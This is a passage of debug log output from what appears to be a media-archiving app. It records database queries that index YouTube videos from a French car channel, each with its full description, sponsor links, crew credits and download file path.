exceptionnelle F430\nLe site ici 👉 http://sport-design-automobile.fr/\n\n---------------------------------\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nAcheteur potentiel : Joseph Shuman\nMontage sponso : Romain Desveaux\nMontage : Lucas Aubert et Thibault Iacolare\nImage : Lucas Martin\nDrone : Thibault Gabet\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\n\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#FERRARI #F430 #SINGE", "Ferrari F430 : La crise de la quarantaine", "-VxgEzpF-v4", 2273, false, "https://www.youtube.com/watch?v=-VxgEzpF-v4", "/downloads/Sylvain Lyve/2026-04-09 Ferrari F430 : La crise de la quarantaine/Ferrari F430 : La crise de la quarantaine [-VxgEzpF-v4].mkv", false, 2, ~U[2026-04-09 16:15:00Z]] 07:39:24.090 [debug] QUERY OK source="sources" db=1.1ms idle=83.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:24.093 [debug] QUERY OK source="media_items" db=1.6ms idle=17.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-02 16:15:00Z], 2] 07:39:24.096 [debug] QUERY OK source="media_items" db=2.4ms idle=15.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à Rhinoshield pour leur soutien, -15% avec le code SYLVAIN 👉 https://url.rhinoshield.fr/Sylvain-Easter\n\n-----------------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Hugo Cuocolo et Thibault Iacolare\nMontage sponso : Romain Desveaux\nEcriture : Adeline Boulard\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#ELECTRIQUE #ARTHURMORGAN #PROBLEME", "LE PROBLÈME DE LA VOITURE ÉLECTRIQUE", "dc76b313-405b-4c01-bf6a-5c9747d7de0b", "Ao_t3r-wGSA", 3740, false, "https://www.youtube.com/watch?v=Ao_t3r-wGSA", 3, "/downloads/Sylvain Lyve/2026-04-02 LE PROBLÈME DE LA VOITURE ÉLECTRIQUE/LE PROBLÈME DE LA VOITURE ÉLECTRIQUE [Ao_t3r-wGSA].mkv", false, false, false, 2, [], 98, ~U[2026-04-02 16:15:00Z], ~U[2026-04-19 05:39:24Z], ~U[2026-04-19 05:39:24Z], "Merci à Rhinoshield pour leur soutien, -15% avec le code SYLVAIN 👉 https://url.rhinoshield.fr/Sylvain-Easter\n\n-----------------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Hugo Cuocolo et Thibault Iacolare\nMontage sponso : Romain Desveaux\nEcriture : Adeline Boulard\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#ELECTRIQUE #ARTHURMORGAN #PROBLEME", "LE PROBLÈME DE LA VOITURE ÉLECTRIQUE", "Ao_t3r-wGSA", 3740, false, "https://www.youtube.com/watch?v=Ao_t3r-wGSA", "/downloads/Sylvain Lyve/2026-04-02 LE PROBLÈME DE LA VOITURE ÉLECTRIQUE/LE PROBLÈME DE LA VOITURE ÉLECTRIQUE [Ao_t3r-wGSA].mkv", false, 2, ~U[2026-04-02 16:15:00Z]] 07:39:24.099 [debug] QUERY OK source="sources" db=2.4ms queue=0.1ms idle=11.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:24.102 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=11.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-26 17:15:05Z], 2] 07:39:24.106 [debug] QUERY OK source="media_items" db=2.9ms idle=11.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Améliorez votre navigation avec NordVPN : 4 mois offerts sur l'abonnement de 2 ans 👉 https://nordvpn.com/sylvainlyve\n\n---------------------------------\n\nMerci à LRS Formula, et en particulier à Paul, pour l'accès à ces véritables pneus de F1\nLe site 👉 https://www.lrs-formula.com/\nMerci aux circuits de l'ouest parisien pour leur accueil exceptionnel :\nLe site : https://www.circuitouestparisien.com/\nEt un grand merci à Arthur et Joseph pour leur scientifisme\n\nProduction : Anaelle Le Magorou\nImage : Lucas Martin\nSon : Alan Poirier\nDrone : Thibault Gabet\nMontage sponso : Romain Desveaux\nMontage : Lucas Aubert et Thibault Iacolare\nVignette : Quentin Legac\n\n---------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#SCIENCE #ENFIN #F1", "Mettre des pneus de Formule 1 sur une voiture : ÇA FAIT QUOI ?", "62fd027a-3b8a-4ae8-81bd-612f9382721b", "gJbQuNFjzGE", 1936, false, "https://www.youtube.com/watch?v=gJbQuNFjzGE", 4, "/downloads/Sylvain Lyve/2026-03-26 Mettre des pneus de Formule 1 sur une voiture : ÇA FAIT QUOI ?/Mettre des pneus de Formule 1 sur une voiture : ÇA FAIT QUOI ? [gJbQuNFjzGE].mkv", false, false, false, 2, [], 98, ~U[2026-03-26 17:15:05Z], ~U[2026-04-19 05:39:24Z], ~U[2026-04-19 05:39:24Z], "Améliorez votre navigation avec NordVPN : 4 mois offerts sur l'abonnement de 2 ans 👉 https://nordvpn.com/sylvainlyve\n\n---------------------------------\n\nMerci à LRS Formula, et en particulier à Paul, pour l'accès à ces véritables pneus de F1\nLe site 👉 https://www.lrs-formula.com/\nMerci aux circuits de l'ouest parisien pour leur accueil exceptionnel :\nLe site : https://www.circuitouestparisien.com/\nEt un grand merci à Arthur et Joseph pour leur scientifisme\n\nProduction : Anaelle Le Magorou\nImage : Lucas Martin\nSon : Alan Poirier\nDrone : Thibault Gabet\nMontage sponso : Romain Desveaux\nMontage : Lucas Aubert et Thibault Iacolare\nVignette : Quentin Legac\n\n---------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#SCIENCE #ENFIN #F1", "Mettre des pneus de Formule 1 sur une voiture : ÇA FAIT QUOI ?", "gJbQuNFjzGE", 1936, false, "https://www.youtube.com/watch?v=gJbQuNFjzGE", "/downloads/Sylvain Lyve/2026-03-26 Mettre des pneus de Formule 1 sur une voiture : ÇA FAIT QUOI ?/Mettre des pneus de Formule 1 sur une voiture : ÇA FAIT QUOI ? [gJbQuNFjzGE].mkv", false, 2, ~U[2026-03-26 17:15:05Z]] 07:39:24.107 [debug] QUERY OK source="sources" db=1.1ms idle=13.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:24.109 [debug] QUERY OK source="media_items" db=1.3ms idle=12.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-19 17:15:03Z], 2] 07:39:24.115 [debug] QUERY OK source="media_items" db=4.2ms idle=10.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Trouvez l’historique de votre voiture avec CarVertical et 20% de réduction avec le code SYLVAIN 👉 https://www.carvertical.com/fr/landing/v3?utm_source=infl&a=sylvain&b=7c3caad9&voucher=sylvain\nCollaboration commerciale \n\n---------------------------------\n\nUn grand merci à l'Anneau du Rhin comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nMerci à l'atelier des 1000 pour le prêt de cette superbe Audi RS2\nL'annonce ici 👉 https://atelierdes1000.fr/2025/04/05/audi-rs2/\n\n---------------------------------\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nDirecteur de l'accélération : Arthur Morault\nMontage sponso : Romain Desveaux\nMontage : Hugo Cuocolo et Thibault Iacolare\nImage : Lucas Martin\nDrone : Alex Bouton\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PORSCHE #AUDI #QUATTRO", "Audi RS2 : La première d'une longue lignée", "58b8643b-f1b0-463e-8c49-8e87ace68cc4", "kY544W0MfFI", 2025, false, "https://www.youtube.com/watch?v=kY544W0MfFI", 5, "/downloads/Sylvain Lyve/2026-03-19 Audi RS2 : La première d'une longue lignée/Audi RS2 : La première d'une longue lignée [kY544W0MfFI].mkv", false, false, false, 2, [], 98, ~U[2026-03-19 17:15:03Z], ~U[2026-04-19 05:39:24Z], ~U[2026-04-19 05:39:24Z], "Trouvez l’historique de votre voiture avec CarVertical et 20% de réduction avec le code SYLVAIN 👉 https://www.carvertical.com/fr/landing/v3?utm_source=infl&a=sylvain&b=7c3caad9&voucher=sylvain\nCollaboration commerciale \n\n---------------------------------\n\nUn grand merci à l'Anneau du Rhin comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nMerci à l'atelier des 1000 pour le prêt de cette superbe Audi RS2\nL'annonce ici 👉 https://atelierdes1000.fr/2025/04/05/audi-rs2/\n\n---------------------------------\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nDirecteur de l'accélération : Arthur Morault\nMontage sponso : Romain Desveaux\nMontage : Hugo Cuocolo et Thibault Iacolare\nImage : Lucas Martin\nDrone : Alex Bouton\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PORSCHE #AUDI #QUATTRO", "Audi RS2 : La première d'une longue lignée", "kY544W0MfFI", 2025, false, "https://www.youtube.com/watch?v=kY544W0MfFI", "/downloads/Sylvain Lyve/2026-03-19 Audi RS2 : La première d'une longue lignée/Audi RS2 : La première d'une longue lignée [kY544W0MfFI].mkv", false, 2, ~U[2026-03-19 17:15:03Z]] 07:39:24.116 [debug] QUERY OK source="sources" db=0.6ms idle=13.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:24.118 [debug] QUERY OK source="media_items" db=1.5ms idle=11.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-12 17:15:03Z], 2] 07:39:24.123 [debug] QUERY OK source="media_items" db=3.3ms idle=11.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n\n-------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Hugo Cuocolo et Thibault Iacolare\nMontage sponso : Romain Desveaux\nEcriture : Adeline Boulard\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#AUDI #QUATTRO #ANECDOTEMAN", "VTECH : Audi", "30a2b6b7-2257-4501-b61e-0b6592a4e837", "LZIT8cRyc7k", 2805, false, "https://www.youtube.com/watch?v=LZIT8cRyc7k", 6, "/downloads/Sylvain Lyve/2026-03-12 VTECH : Audi/VTECH : Audi [LZIT8cRyc7k].mkv", false, false, false, 2, [], 98, ~U[2026-03-12 17:15:03Z], ~U[2026-04-19 05:39:24Z], ~U[2026-04-19 05:39:24Z], "Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n\n-------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Hugo Cuocolo et Thibault Iacolare\nMontage sponso : Romain Desveaux\nEcriture : Adeline Boulard\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#AUDI #QUATTRO #ANECDOTEMAN", "VTECH : Audi", "LZIT8cRyc7k", 2805, false, "https://www.youtube.com/watch?v=LZIT8cRyc7k", "/downloads/Sylvain Lyve/2026-03-12 VTECH : Audi/VTECH : Audi [LZIT8cRyc7k].mkv", false, 2, ~U[2026-03-12 17:15:03Z]] 07:39:24.125 [debug] QUERY OK source="sources" db=1.1ms queue=0.2ms idle=14.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:24.128 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=11.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-05 17:15:01Z], 2] 07:39:24.132 [debug] QUERY OK source="media_items" db=3.1ms idle=12.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Téléchargez REVOLUT gratuitement avec le lien 👉 https://get.revolut.com/z4lF/SylvainF1 pour débloquer les 20 € en utilisant votre carte et participer au tirage au sort pour gagner 2 places pour le GP de Monaco (voir conditions générales)\nCollaboration commerciale\n\n--------------------------------------------\n\nUn GIGA merci à TERREM pour leur aide sur ce tournage et le prêt de cette GIGA GRUE\nLe site : https://www.terrem.fr/\nEt un très grand merci à Arthur et Joseph pour leur aide scientifique\n\n--------------------------------------------\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nProduction : Anaelle Le Magorou\nImage : Lucas Martin\nSon : Alan Poirier\nDrone : Thibault Gabet\nMontage : Pablo Kerlogot et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#SCIENCE #SCOTCH #AUBOUTDUROULEAU", "SOULEVER une voiture avec du SCOTCH : C'est possible ?", "ec7ea028-398f-48a4-adf8-9b5fca60e234", "LsyfOtc2zGg", 1198, false, "https://www.youtube.com/watch?v=LsyfOtc2zGg", 7, "/downloads/Sylvain Lyve/2026-03-05 SOULEVER une voiture avec du SCOTCH : C'est possible ?/SOULEVER une voiture avec du SCOTCH : C'est possible ? [LsyfOtc2zGg].mkv", false, false, false, 2, [], 98, ~U[2026-03-05 17:15:01Z], ~U[2026-04-19 05:39:24Z], ~U[2026-04-19 05:39:24Z], "Téléchargez REVOLUT gratuitement avec le lien 👉 https://get.revolut.com/z4lF/SylvainF1 pour débloquer les 20 € en utilisant votre carte et participer au tirage au sort pour gagner 2 places pour le GP de Monaco (voir conditions générales)\nCollaboration commerciale\n\n--------------------------------------------\n\nUn GIGA merci à TERREM pour leur aide sur ce tournage et le prêt de cette GIGA GRUE\nLe site : https://www.terrem.fr/\nEt un très grand merci à Arthur et Joseph pour leur aide scientifique\n\n--------------------------------------------\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nProduction : Anaelle Le Magorou\nImage : Lucas Martin\nSon : Alan Poirier\nDrone : Thibault Gabet\nMontage : Pablo Kerlogot et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#SCIENCE #SCOTCH #AUBOUTDUROULEAU", "SOULEVER une voiture avec du SCOTCH : C'est possible ?", "LsyfOtc2zGg", 1198, false, "https://www.youtube.com/watch?v=LsyfOtc2zGg", "/downloads/Sylvain Lyve/2026-03-05 SOULEVER une voiture avec du SCOTCH : C'est possible ?/SOULEVER une voiture avec du SCOTCH : C'est possible ? [LsyfOtc2zGg].mkv", false, 2, ~U[2026-03-05 17:15:01Z]] 07:39:24.134 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=14.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:24.136 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=12.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-26 17:15:00Z], 2] 07:39:24.164 [debug] QUERY OK source="media_items" db=26.6ms idle=11.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Trouvez l’historique de votre voiture avec CarVertical et 20% de réduction avec le code SYLVAIN 👉 https://www.carvertical.com/fr/landing/v3?utm_source=infl&a=sylvain&b=7c3caad9&voucher=sylvain\nCollaboration commerciale \n\n---------------------------------------------\n\nUn grand merci à l'Anneau du Rhin comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nEt merci à Sport Design Automobiles, et en particulier Urban pour le prêt de cette incroyable Ferrari F430\nLe site 👉 http://sport-design-automobile.fr/\n\n---------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage sponso : Romain Desveaux\nMontage : Pablo Kerlogot et Thibault Iacolare\nImage : Lucas Martin\nDrone : Thibault Gabet\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#BMW #TURBO #CHAUDIERE", "BMW M550d : Le gasoil qui flingue les Ferrari", "6e7df55b-ee18-4285-beef-42ad17acaaea", "1xXiC2vBy5w", 1129, false, "https://www.youtube.com/watch?v=1xXiC2vBy5w", 8, "/downloads/Sylvain Lyve/2026-02-26 BMW M550d : Le gasoil qui flingue les Ferrari/BMW M550d : Le gasoil qui flingue les Ferrari [1xXiC2vBy5w].mkv", false, false, false, 2, [], 98, ~U[2026-02-26 17:15:00Z], ~U[2026-04-19 05:39:24Z], ~U[2026-04-19 05:39:24Z], "Trouvez l’historique de votre voiture avec CarVertical et 20% de réduction avec le code SYLVAIN 👉 https://www.carvertical.com/fr/landing/v3?utm_source=infl&a=sylvain&b=7c3caad9&voucher=sylvain\nCollaboration commerciale \n\n---------------------------------------------\n\nUn grand merci à l'Anneau du Rhin comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nEt merci à Sport Design Automobiles, et en particulier Urban pour le prêt de cette incroyable Ferrari F430\nLe site 👉 http://sport-design-automobile.fr/\n\n---------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage sponso : Romain Desveaux\nMontage : Pablo Kerlogot et Thibault Iacolare\nImage : Lucas Martin\nDrone : Thibault Gabet\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#BMW #TURBO #CHAUDIERE", "BMW M550d : Le gasoil qui flingue les Ferrari", "1xXiC2vBy5w", 1129, false, "https://www.youtube.com/watch?v=1xXiC2vBy5w", "/downloads/Sylvain Lyve/2026-02-26 BMW M550d : Le gasoil qui flingue les Ferrari/BMW 